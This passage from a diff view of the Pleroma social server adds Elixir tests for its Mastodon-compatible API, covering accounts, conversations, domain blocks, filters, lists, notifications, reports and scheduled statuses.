|> Stream.zip(valid_params)
|> Enum.each(fn {ip, {attr, _}} ->
res =
conn
|> Map.put(:remote_ip, ip)
|> post("/api/v1/accounts", Map.delete(valid_params, attr))
|> json_response(400)
assert res == %{"error" => "Missing parameters"}
end)
end
test "returns forbidden if token is invalid", %{conn: conn, valid_params: valid_params} do
conn =
conn
|> put_req_header("authorization", "Bearer " <> "invalid-token")
res = post(conn, "/api/v1/accounts", valid_params)
assert json_response(res, 403) == %{"error" => "Invalid credentials"}
end
end
describe "GET /api/v1/accounts/:id/lists - account_lists" do
test "returns lists to which the account belongs", %{conn: conn} do
user = insert(:user)
other_user = insert(:user)
assert {:ok, %Pleroma.List{} = list} = Pleroma.List.create("Test List", user)
{:ok, %{following: _following}} = Pleroma.List.follow(list, other_user)
res =
conn
|> assign(:user, user)
|> get("/api/v1/accounts/#{other_user.id}/lists")
|> json_response(200)
assert res == [%{"id" => to_string(list.id), "title" => "Test List"}]
end
end
describe "verify_credentials" do
test "verify_credentials", %{conn: conn} do
user = insert(:user)
conn =
conn
|> assign(:user, user)
|> get("/api/v1/accounts/verify_credentials")
response = json_response(conn, 200)
assert %{"id" => id, "source" => %{"privacy" => "public"}} = response
assert response["pleroma"]["chat_token"]
assert id == to_string(user.id)
end
test "verify_credentials default scope unlisted", %{conn: conn} do
user = insert(:user, %{info: %User.Info{default_scope: "unlisted"}})
conn =
conn
|> assign(:user, user)
|> get("/api/v1/accounts/verify_credentials")
assert %{"id" => id, "source" => %{"privacy" => "unlisted"}} = json_response(conn, 200)
assert id == to_string(user.id)
end
test "locked accounts", %{conn: conn} do
user = insert(:user, %{info: %User.Info{default_scope: "private"}})
conn =
conn
|> assign(:user, user)
|> get("/api/v1/accounts/verify_credentials")
assert %{"id" => id, "source" => %{"privacy" => "private"}} = json_response(conn, 200)
assert id == to_string(user.id)
end
end
describe "user relationships" do
test "returns the relationships for the current user", %{conn: conn} do
user = insert(:user)
other_user = insert(:user)
{:ok, user} = User.follow(user, other_user)
conn =
conn
|> assign(:user, user)
|> get("/api/v1/accounts/relationships", %{"id" => [other_user.id]})
assert [relationship] = json_response(conn, 200)
assert to_string(other_user.id) == relationship["id"]
end
test "returns an empty list on a bad request", %{conn: conn} do
user = insert(:user)
conn =
conn
|> assign(:user, user)
|> get("/api/v1/accounts/relationships", %{})
assert [] = json_response(conn, 200)
end
end
end

View file

@ -0,0 +1,75 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.MastodonAPI.ConversationControllerTest do
use Pleroma.Web.ConnCase
alias Pleroma.User
alias Pleroma.Web.CommonAPI
import Pleroma.Factory
test "Conversations", %{conn: conn} do
user_one = insert(:user)
user_two = insert(:user)
user_three = insert(:user)
{:ok, user_two} = User.follow(user_two, user_one)
{:ok, direct} =
CommonAPI.post(user_one, %{
"status" => "Hi @#{user_two.nickname}, @#{user_three.nickname}!",
"visibility" => "direct"
})
{:ok, _follower_only} =
CommonAPI.post(user_one, %{
"status" => "Hi @#{user_two.nickname}!",
"visibility" => "private"
})
res_conn =
conn
|> assign(:user, user_one)
|> get("/api/v1/conversations")
assert response = json_response(res_conn, 200)
assert [
%{
"id" => res_id,
"accounts" => res_accounts,
"last_status" => res_last_status,
"unread" => unread
}
] = response
account_ids = Enum.map(res_accounts, & &1["id"])
assert length(res_accounts) == 2
assert user_two.id in account_ids
assert user_three.id in account_ids
assert is_binary(res_id)
assert unread == true
assert res_last_status["id"] == direct.id
# Apparently undocumented API endpoint
res_conn =
conn
|> assign(:user, user_one)
|> post("/api/v1/conversations/#{res_id}/read")
assert response = json_response(res_conn, 200)
assert length(response["accounts"]) == 2
assert response["last_status"]["id"] == direct.id
assert response["unread"] == false
# (vanilla) Mastodon frontend behaviour
res_conn =
conn
|> assign(:user, user_one)
|> get("/api/v1/statuses/#{res_last_status["id"]}/context")
assert %{"ancestors" => [], "descendants" => []} == json_response(res_conn, 200)
end
end

View file

@ -0,0 +1,51 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.MastodonAPI.DomainBlockControllerTest do
use Pleroma.Web.ConnCase
alias Pleroma.User
import Pleroma.Factory
test "blocking / unblocking a domain", %{conn: conn} do
user = insert(:user)
other_user = insert(:user, %{ap_id: "https://dogwhistle.zone/@pundit"})
conn =
conn
|> assign(:user, user)
|> post("/api/v1/domain_blocks", %{"domain" => "dogwhistle.zone"})
assert %{} = json_response(conn, 200)
user = User.get_cached_by_ap_id(user.ap_id)
assert User.blocks?(user, other_user)
conn =
build_conn()
|> assign(:user, user)
|> delete("/api/v1/domain_blocks", %{"domain" => "dogwhistle.zone"})
assert %{} = json_response(conn, 200)
user = User.get_cached_by_ap_id(user.ap_id)
refute User.blocks?(user, other_user)
end
test "getting a list of domain blocks", %{conn: conn} do
user = insert(:user)
{:ok, user} = User.block_domain(user, "bad.site")
{:ok, user} = User.block_domain(user, "even.worse.site")
conn =
conn
|> assign(:user, user)
|> get("/api/v1/domain_blocks")
domain_blocks = json_response(conn, 200)
assert "bad.site" in domain_blocks
assert "even.worse.site" in domain_blocks
end
end

View file

@ -0,0 +1,137 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.MastodonAPI.FilterControllerTest do
use Pleroma.Web.ConnCase, async: true
alias Pleroma.Web.MastodonAPI.FilterView
import Pleroma.Factory
test "creating a filter", %{conn: conn} do
user = insert(:user)
filter = %Pleroma.Filter{
phrase: "knights",
context: ["home"]
}
conn =
conn
|> assign(:user, user)
|> post("/api/v1/filters", %{"phrase" => filter.phrase, context: filter.context})
assert response = json_response(conn, 200)
assert response["phrase"] == filter.phrase
assert response["context"] == filter.context
assert response["irreversible"] == false
assert response["id"] != nil
assert response["id"] != ""
end
test "fetching a list of filters", %{conn: conn} do
user = insert(:user)
query_one = %Pleroma.Filter{
user_id: user.id,
filter_id: 1,
phrase: "knights",
context: ["home"]
}
query_two = %Pleroma.Filter{
user_id: user.id,
filter_id: 2,
phrase: "who",
context: ["home"]
}
{:ok, filter_one} = Pleroma.Filter.create(query_one)
{:ok, filter_two} = Pleroma.Filter.create(query_two)
response =
conn
|> assign(:user, user)
|> get("/api/v1/filters")
|> json_response(200)
assert response ==
render_json(
FilterView,
"filters.json",
filters: [filter_two, filter_one]
)
end
test "get a filter", %{conn: conn} do
user = insert(:user)
query = %Pleroma.Filter{
user_id: user.id,
filter_id: 2,
phrase: "knight",
context: ["home"]
}
{:ok, filter} = Pleroma.Filter.create(query)
conn =
conn
|> assign(:user, user)
|> get("/api/v1/filters/#{filter.filter_id}")
assert _response = json_response(conn, 200)
end
test "update a filter", %{conn: conn} do
user = insert(:user)
query = %Pleroma.Filter{
user_id: user.id,
filter_id: 2,
phrase: "knight",
context: ["home"]
}
{:ok, _filter} = Pleroma.Filter.create(query)
new = %Pleroma.Filter{
phrase: "nii",
context: ["home"]
}
conn =
conn
|> assign(:user, user)
|> put("/api/v1/filters/#{query.filter_id}", %{
phrase: new.phrase,
context: new.context
})
assert response = json_response(conn, 200)
assert response["phrase"] == new.phrase
assert response["context"] == new.context
end
test "delete a filter", %{conn: conn} do
user = insert(:user)
query = %Pleroma.Filter{
user_id: user.id,
filter_id: 2,
phrase: "knight",
context: ["home"]
}
{:ok, filter} = Pleroma.Filter.create(query)
conn =
conn
|> assign(:user, user)
|> delete("/api/v1/filters/#{filter.filter_id}")
assert response = json_response(conn, 200)
assert response == %{}
end
end

View file

@ -0,0 +1,81 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.MastodonAPI.FollowRequestControllerTest do
use Pleroma.Web.ConnCase
alias Pleroma.User
alias Pleroma.Web.ActivityPub.ActivityPub
import Pleroma.Factory
describe "locked accounts" do
test "/api/v1/follow_requests works" do
user = insert(:user, %{info: %User.Info{locked: true}})
other_user = insert(:user)
{:ok, _activity} = ActivityPub.follow(other_user, user)
user = User.get_cached_by_id(user.id)
other_user = User.get_cached_by_id(other_user.id)
assert User.following?(other_user, user) == false
conn =
build_conn()
|> assign(:user, user)
|> get("/api/v1/follow_requests")
assert [relationship] = json_response(conn, 200)
assert to_string(other_user.id) == relationship["id"]
end
test "/api/v1/follow_requests/:id/authorize works" do
user = insert(:user, %{info: %User.Info{locked: true}})
other_user = insert(:user)
{:ok, _activity} = ActivityPub.follow(other_user, user)
user = User.get_cached_by_id(user.id)
other_user = User.get_cached_by_id(other_user.id)
assert User.following?(other_user, user) == false
conn =
build_conn()
|> assign(:user, user)
|> post("/api/v1/follow_requests/#{other_user.id}/authorize")
assert relationship = json_response(conn, 200)
assert to_string(other_user.id) == relationship["id"]
user = User.get_cached_by_id(user.id)
other_user = User.get_cached_by_id(other_user.id)
assert User.following?(other_user, user) == true
end
test "/api/v1/follow_requests/:id/reject works" do
user = insert(:user, %{info: %User.Info{locked: true}})
other_user = insert(:user)
{:ok, _activity} = ActivityPub.follow(other_user, user)
user = User.get_cached_by_id(user.id)
conn =
build_conn()
|> assign(:user, user)
|> post("/api/v1/follow_requests/#{other_user.id}/reject")
assert relationship = json_response(conn, 200)
assert to_string(other_user.id) == relationship["id"]
user = User.get_cached_by_id(user.id)
other_user = User.get_cached_by_id(other_user.id)
assert User.following?(other_user, user) == false
end
end
end

View file

@ -0,0 +1,166 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.MastodonAPI.ListControllerTest do
use Pleroma.Web.ConnCase
alias Pleroma.Repo
import Pleroma.Factory
test "creating a list", %{conn: conn} do
user = insert(:user)
conn =
conn
|> assign(:user, user)
|> post("/api/v1/lists", %{"title" => "cuties"})
assert %{"title" => title} = json_response(conn, 200)
assert title == "cuties"
end
test "renders error for invalid params", %{conn: conn} do
user = insert(:user)
conn =
conn
|> assign(:user, user)
|> post("/api/v1/lists", %{"title" => nil})
assert %{"error" => "can't be blank"} == json_response(conn, :unprocessable_entity)
end
test "listing a user's lists", %{conn: conn} do
user = insert(:user)
conn
|> assign(:user, user)
|> post("/api/v1/lists", %{"title" => "cuties"})
conn
|> assign(:user, user)
|> post("/api/v1/lists", %{"title" => "cofe"})
conn =
conn
|> assign(:user, user)
|> get("/api/v1/lists")
assert [
%{"id" => _, "title" => "cofe"},
%{"id" => _, "title" => "cuties"}
] = json_response(conn, :ok)
end
test "adding users to a list", %{conn: conn} do
user = insert(:user)
other_user = insert(:user)
{:ok, list} = Pleroma.List.create("name", user)
conn =
conn
|> assign(:user, user)
|> post("/api/v1/lists/#{list.id}/accounts", %{"account_ids" => [other_user.id]})
assert %{} == json_response(conn, 200)
%Pleroma.List{following: following} = Pleroma.List.get(list.id, user)
assert following == [other_user.follower_address]
end
test "removing users from a list", %{conn: conn} do
user = insert(:user)
other_user = insert(:user)
third_user = insert(:user)
{:ok, list} = Pleroma.List.create("name", user)
{:ok, list} = Pleroma.List.follow(list, other_user)
{:ok, list} = Pleroma.List.follow(list, third_user)
conn =
conn
|> assign(:user, user)
|> delete("/api/v1/lists/#{list.id}/accounts", %{"account_ids" => [other_user.id]})
assert %{} == json_response(conn, 200)
%Pleroma.List{following: following} = Pleroma.List.get(list.id, user)
assert following == [third_user.follower_address]
end
test "listing users in a list", %{conn: conn} do
user = insert(:user)
other_user = insert(:user)
{:ok, list} = Pleroma.List.create("name", user)
{:ok, list} = Pleroma.List.follow(list, other_user)
conn =
conn
|> assign(:user, user)
|> get("/api/v1/lists/#{list.id}/accounts", %{"account_ids" => [other_user.id]})
assert [%{"id" => id}] = json_response(conn, 200)
assert id == to_string(other_user.id)
end
test "retrieving a list", %{conn: conn} do
user = insert(:user)
{:ok, list} = Pleroma.List.create("name", user)
conn =
conn
|> assign(:user, user)
|> get("/api/v1/lists/#{list.id}")
assert %{"id" => id} = json_response(conn, 200)
assert id == to_string(list.id)
end
test "renders 404 if list is not found", %{conn: conn} do
user = insert(:user)
conn =
conn
|> assign(:user, user)
|> get("/api/v1/lists/666")
assert %{"error" => "List not found"} = json_response(conn, :not_found)
end
test "renaming a list", %{conn: conn} do
user = insert(:user)
{:ok, list} = Pleroma.List.create("name", user)
conn =
conn
|> assign(:user, user)
|> put("/api/v1/lists/#{list.id}", %{"title" => "newname"})
assert %{"title" => name} = json_response(conn, 200)
assert name == "newname"
end
test "validates title when renaming a list", %{conn: conn} do
user = insert(:user)
{:ok, list} = Pleroma.List.create("name", user)
conn =
conn
|> assign(:user, user)
|> put("/api/v1/lists/#{list.id}", %{"title" => " "})
assert %{"error" => "can't be blank"} == json_response(conn, :unprocessable_entity)
end
test "deleting a list", %{conn: conn} do
user = insert(:user)
{:ok, list} = Pleroma.List.create("name", user)
conn =
conn
|> assign(:user, user)
|> delete("/api/v1/lists/#{list.id}")
assert %{} = json_response(conn, 200)
assert is_nil(Repo.get(Pleroma.List, list.id))
end
end

View file

@ -0,0 +1,299 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.MastodonAPI.NotificationControllerTest do
use Pleroma.Web.ConnCase
alias Pleroma.Notification
alias Pleroma.Repo
alias Pleroma.User
alias Pleroma.Web.CommonAPI
import Pleroma.Factory
test "list of notifications", %{conn: conn} do
user = insert(:user)
other_user = insert(:user)
{:ok, activity} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
{:ok, [_notification]} = Notification.create_notifications(activity)
conn =
conn
|> assign(:user, user)
|> get("/api/v1/notifications")
expected_response =
"hi <span class=\"h-card\"><a data-user=\"#{user.id}\" class=\"u-url mention\" href=\"#{
user.ap_id
}\" rel=\"ugc\">@<span>#{user.nickname}</span></a></span>"
assert [%{"status" => %{"content" => response}} | _rest] = json_response(conn, 200)
assert response == expected_response
end
test "getting a single notification", %{conn: conn} do
user = insert(:user)
other_user = insert(:user)
{:ok, activity} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
{:ok, [notification]} = Notification.create_notifications(activity)
conn =
conn
|> assign(:user, user)
|> get("/api/v1/notifications/#{notification.id}")
expected_response =
"hi <span class=\"h-card\"><a data-user=\"#{user.id}\" class=\"u-url mention\" href=\"#{
user.ap_id
}\" rel=\"ugc\">@<span>#{user.nickname}</span></a></span>"
assert %{"status" => %{"content" => response}} = json_response(conn, 200)
assert response == expected_response
end
test "dismissing a single notification", %{conn: conn} do
user = insert(:user)
other_user = insert(:user)
{:ok, activity} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
{:ok, [notification]} = Notification.create_notifications(activity)
conn =
conn
|> assign(:user, user)
|> post("/api/v1/notifications/dismiss", %{"id" => notification.id})
assert %{} = json_response(conn, 200)
end
test "clearing all notifications", %{conn: conn} do
user = insert(:user)
other_user = insert(:user)
{:ok, activity} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
{:ok, [_notification]} = Notification.create_notifications(activity)
conn =
conn
|> assign(:user, user)
|> post("/api/v1/notifications/clear")
assert %{} = json_response(conn, 200)
conn =
build_conn()
|> assign(:user, user)
|> get("/api/v1/notifications")
assert all = json_response(conn, 200)
assert all == []
end
test "paginates notifications using min_id, since_id, max_id, and limit", %{conn: conn} do
user = insert(:user)
other_user = insert(:user)
{:ok, activity1} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
{:ok, activity2} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
{:ok, activity3} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
{:ok, activity4} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
notification1_id = get_notification_id_by_activity(activity1)
notification2_id = get_notification_id_by_activity(activity2)
notification3_id = get_notification_id_by_activity(activity3)
notification4_id = get_notification_id_by_activity(activity4)
conn = assign(conn, :user, user)
# min_id
result =
conn
|> get("/api/v1/notifications?limit=2&min_id=#{notification1_id}")
|> json_response(:ok)
assert [%{"id" => ^notification3_id}, %{"id" => ^notification2_id}] = result
# since_id
result =
conn
|> get("/api/v1/notifications?limit=2&since_id=#{notification1_id}")
|> json_response(:ok)
assert [%{"id" => ^notification4_id}, %{"id" => ^notification3_id}] = result
# max_id
result =
conn
|> get("/api/v1/notifications?limit=2&max_id=#{notification4_id}")
|> json_response(:ok)
assert [%{"id" => ^notification3_id}, %{"id" => ^notification2_id}] = result
end
test "filters notifications using exclude_types", %{conn: conn} do
user = insert(:user)
other_user = insert(:user)
{:ok, mention_activity} = CommonAPI.post(other_user, %{"status" => "hey @#{user.nickname}"})
{:ok, create_activity} = CommonAPI.post(user, %{"status" => "hey"})
{:ok, favorite_activity, _} = CommonAPI.favorite(create_activity.id, other_user)
{:ok, reblog_activity, _} = CommonAPI.repeat(create_activity.id, other_user)
{:ok, _, _, follow_activity} = CommonAPI.follow(other_user, user)
mention_notification_id = get_notification_id_by_activity(mention_activity)
favorite_notification_id = get_notification_id_by_activity(favorite_activity)
reblog_notification_id = get_notification_id_by_activity(reblog_activity)
follow_notification_id = get_notification_id_by_activity(follow_activity)
conn = assign(conn, :user, user)
conn_res =
get(conn, "/api/v1/notifications", %{exclude_types: ["mention", "favourite", "reblog"]})
assert [%{"id" => ^follow_notification_id}] = json_response(conn_res, 200)
conn_res =
get(conn, "/api/v1/notifications", %{exclude_types: ["favourite", "reblog", "follow"]})
assert [%{"id" => ^mention_notification_id}] = json_response(conn_res, 200)
conn_res =
get(conn, "/api/v1/notifications", %{exclude_types: ["reblog", "follow", "mention"]})
assert [%{"id" => ^favorite_notification_id}] = json_response(conn_res, 200)
conn_res =
get(conn, "/api/v1/notifications", %{exclude_types: ["follow", "mention", "favourite"]})
assert [%{"id" => ^reblog_notification_id}] = json_response(conn_res, 200)
end
test "destroy multiple", %{conn: conn} do
user = insert(:user)
other_user = insert(:user)
{:ok, activity1} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
{:ok, activity2} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
{:ok, activity3} = CommonAPI.post(user, %{"status" => "hi @#{other_user.nickname}"})
{:ok, activity4} = CommonAPI.post(user, %{"status" => "hi @#{other_user.nickname}"})
notification1_id = get_notification_id_by_activity(activity1)
notification2_id = get_notification_id_by_activity(activity2)
notification3_id = get_notification_id_by_activity(activity3)
notification4_id = get_notification_id_by_activity(activity4)
conn = assign(conn, :user, user)
result =
conn
|> get("/api/v1/notifications")
|> json_response(:ok)
assert [%{"id" => ^notification2_id}, %{"id" => ^notification1_id}] = result
conn2 =
conn
|> assign(:user, other_user)
result =
conn2
|> get("/api/v1/notifications")
|> json_response(:ok)
assert [%{"id" => ^notification4_id}, %{"id" => ^notification3_id}] = result
conn_destroy =
conn
|> delete("/api/v1/notifications/destroy_multiple", %{
"ids" => [notification1_id, notification2_id]
})
assert json_response(conn_destroy, 200) == %{}
result =
conn2
|> get("/api/v1/notifications")
|> json_response(:ok)
assert [%{"id" => ^notification4_id}, %{"id" => ^notification3_id}] = result
end
test "doesn't see notifications after muting user with notifications", %{conn: conn} do
user = insert(:user)
user2 = insert(:user)
{:ok, _, _, _} = CommonAPI.follow(user, user2)
{:ok, _} = CommonAPI.post(user2, %{"status" => "hey @#{user.nickname}"})
conn = assign(conn, :user, user)
conn = get(conn, "/api/v1/notifications")
assert length(json_response(conn, 200)) == 1
{:ok, user} = User.mute(user, user2)
conn = assign(build_conn(), :user, user)
conn = get(conn, "/api/v1/notifications")
assert json_response(conn, 200) == []
end
test "see notifications after muting user without notifications", %{conn: conn} do
user = insert(:user)
user2 = insert(:user)
{:ok, _, _, _} = CommonAPI.follow(user, user2)
{:ok, _} = CommonAPI.post(user2, %{"status" => "hey @#{user.nickname}"})
conn = assign(conn, :user, user)
conn = get(conn, "/api/v1/notifications")
assert length(json_response(conn, 200)) == 1
{:ok, user} = User.mute(user, user2, false)
conn = assign(build_conn(), :user, user)
conn = get(conn, "/api/v1/notifications")
assert length(json_response(conn, 200)) == 1
end
test "see notifications after muting user with notifications and with_muted parameter", %{
conn: conn
} do
user = insert(:user)
user2 = insert(:user)
{:ok, _, _, _} = CommonAPI.follow(user, user2)
{:ok, _} = CommonAPI.post(user2, %{"status" => "hey @#{user.nickname}"})
conn = assign(conn, :user, user)
conn = get(conn, "/api/v1/notifications")
assert length(json_response(conn, 200)) == 1
{:ok, user} = User.mute(user, user2)
conn = assign(build_conn(), :user, user)
conn = get(conn, "/api/v1/notifications", %{"with_muted" => "true"})
assert length(json_response(conn, 200)) == 1
end
defp get_notification_id_by_activity(%{id: id}) do
Notification
|> Repo.get_by(activity_id: id)
|> Map.get(:id)
|> to_string()
end
end

View file

@ -0,0 +1,88 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.MastodonAPI.ReportControllerTest do
use Pleroma.Web.ConnCase
alias Pleroma.Web.CommonAPI
import Pleroma.Factory
setup do
reporter = insert(:user)
target_user = insert(:user)
{:ok, activity} = CommonAPI.post(target_user, %{"status" => "foobar"})
[reporter: reporter, target_user: target_user, activity: activity]
end
test "submit a basic report", %{conn: conn, reporter: reporter, target_user: target_user} do
assert %{"action_taken" => false, "id" => _} =
conn
|> assign(:user, reporter)
|> post("/api/v1/reports", %{"account_id" => target_user.id})
|> json_response(200)
end
test "submit a report with statuses and comment", %{
conn: conn,
reporter: reporter,
target_user: target_user,
activity: activity
} do
assert %{"action_taken" => false, "id" => _} =
conn
|> assign(:user, reporter)
|> post("/api/v1/reports", %{
"account_id" => target_user.id,
"status_ids" => [activity.id],
"comment" => "bad status!",
"forward" => "false"
})
|> json_response(200)
end
test "account_id is required", %{
conn: conn,
reporter: reporter,
activity: activity
} do
assert %{"error" => "Valid `account_id` required"} =
conn
|> assign(:user, reporter)
|> post("/api/v1/reports", %{"status_ids" => [activity.id]})
|> json_response(400)
end
test "comment must be up to the size specified in the config", %{
conn: conn,
reporter: reporter,
target_user: target_user
} do
max_size = Pleroma.Config.get([:instance, :max_report_comment_size], 1000)
comment = String.pad_trailing("a", max_size + 1, "a")
error = %{"error" => "Comment must be up to #{max_size} characters"}
assert ^error =
conn
|> assign(:user, reporter)
|> post("/api/v1/reports", %{"account_id" => target_user.id, "comment" => comment})
|> json_response(400)
end
test "returns error when account is not exist", %{
conn: conn,
reporter: reporter,
activity: activity
} do
conn =
conn
|> assign(:user, reporter)
|> post("/api/v1/reports", %{"status_ids" => [activity.id], "account_id" => "foo"})
assert json_response(conn, 400) == %{"error" => "Account not found"}
end
end

View file

@ -0,0 +1,113 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.MastodonAPI.ScheduledActivityControllerTest do
use Pleroma.Web.ConnCase, async: true
alias Pleroma.Repo
alias Pleroma.ScheduledActivity
import Pleroma.Factory
test "shows scheduled activities", %{conn: conn} do
user = insert(:user)
scheduled_activity_id1 = insert(:scheduled_activity, user: user).id |> to_string()
scheduled_activity_id2 = insert(:scheduled_activity, user: user).id |> to_string()
scheduled_activity_id3 = insert(:scheduled_activity, user: user).id |> to_string()
scheduled_activity_id4 = insert(:scheduled_activity, user: user).id |> to_string()
conn =
conn
|> assign(:user, user)
# min_id
conn_res =
conn
|> get("/api/v1/scheduled_statuses?limit=2&min_id=#{scheduled_activity_id1}")
result = json_response(conn_res, 200)
assert [%{"id" => ^scheduled_activity_id3}, %{"id" => ^scheduled_activity_id2}] = result
# since_id
conn_res =
conn
|> get("/api/v1/scheduled_statuses?limit=2&since_id=#{scheduled_activity_id1}")
result = json_response(conn_res, 200)
assert [%{"id" => ^scheduled_activity_id4}, %{"id" => ^scheduled_activity_id3}] = result
# max_id
conn_res =
conn
|> get("/api/v1/scheduled_statuses?limit=2&max_id=#{scheduled_activity_id4}")
result = json_response(conn_res, 200)
assert [%{"id" => ^scheduled_activity_id3}, %{"id" => ^scheduled_activity_id2}] = result
end
test "shows a scheduled activity", %{conn: conn} do
user = insert(:user)
scheduled_activity = insert(:scheduled_activity, user: user)
res_conn =
conn
|> assign(:user, user)
|> get("/api/v1/scheduled_statuses/#{scheduled_activity.id}")
assert %{"id" => scheduled_activity_id} = json_response(res_conn, 200)
assert scheduled_activity_id == scheduled_activity.id |> to_string()
res_conn =
conn
|> assign(:user, user)
|> get("/api/v1/scheduled_statuses/404")
assert %{"error" => "Record not found"} = json_response(res_conn, 404)
end
test "updates a scheduled activity", %{conn: conn} do
user = insert(:user)
scheduled_activity = insert(:scheduled_activity, user: user)
new_scheduled_at =
NaiveDateTime.add(NaiveDateTime.utc_now(), :timer.minutes(120), :millisecond)
res_conn =
conn
|> assign(:user, user)
|> put("/api/v1/scheduled_statuses/#{scheduled_activity.id}", %{
scheduled_at: new_scheduled_at
})
assert %{"scheduled_at" => expected_scheduled_at} = json_response(res_conn, 200)
assert expected_scheduled_at == Pleroma.Web.CommonAPI.Utils.to_masto_date(new_scheduled_at)
res_conn =
conn
|> assign(:user, user)
|> put("/api/v1/scheduled_statuses/404", %{scheduled_at: new_scheduled_at})
assert %{"error" => "Record not found"} = json_response(res_conn, 404)
end
test "deletes a scheduled activity", %{conn: conn} do
user = insert(:user)
scheduled_activity = insert(:scheduled_activity, user: user)
res_conn =
conn
|> assign(:user, user)
|> delete("/api/v1/scheduled_statuses/#{scheduled_activity.id}")
assert %{} = json_response(res_conn, 200)
assert nil == Repo.get(ScheduledActivity, scheduled_activity.id)
res_conn =
conn
|> assign(:user, user)
|> delete("/api/v1/scheduled_statuses/#{scheduled_activity.id}")
assert %{"error" => "Record not found"} = json_response(res_conn, 404)
end
end

Some files were not shown because too many files have changed in this diff Show more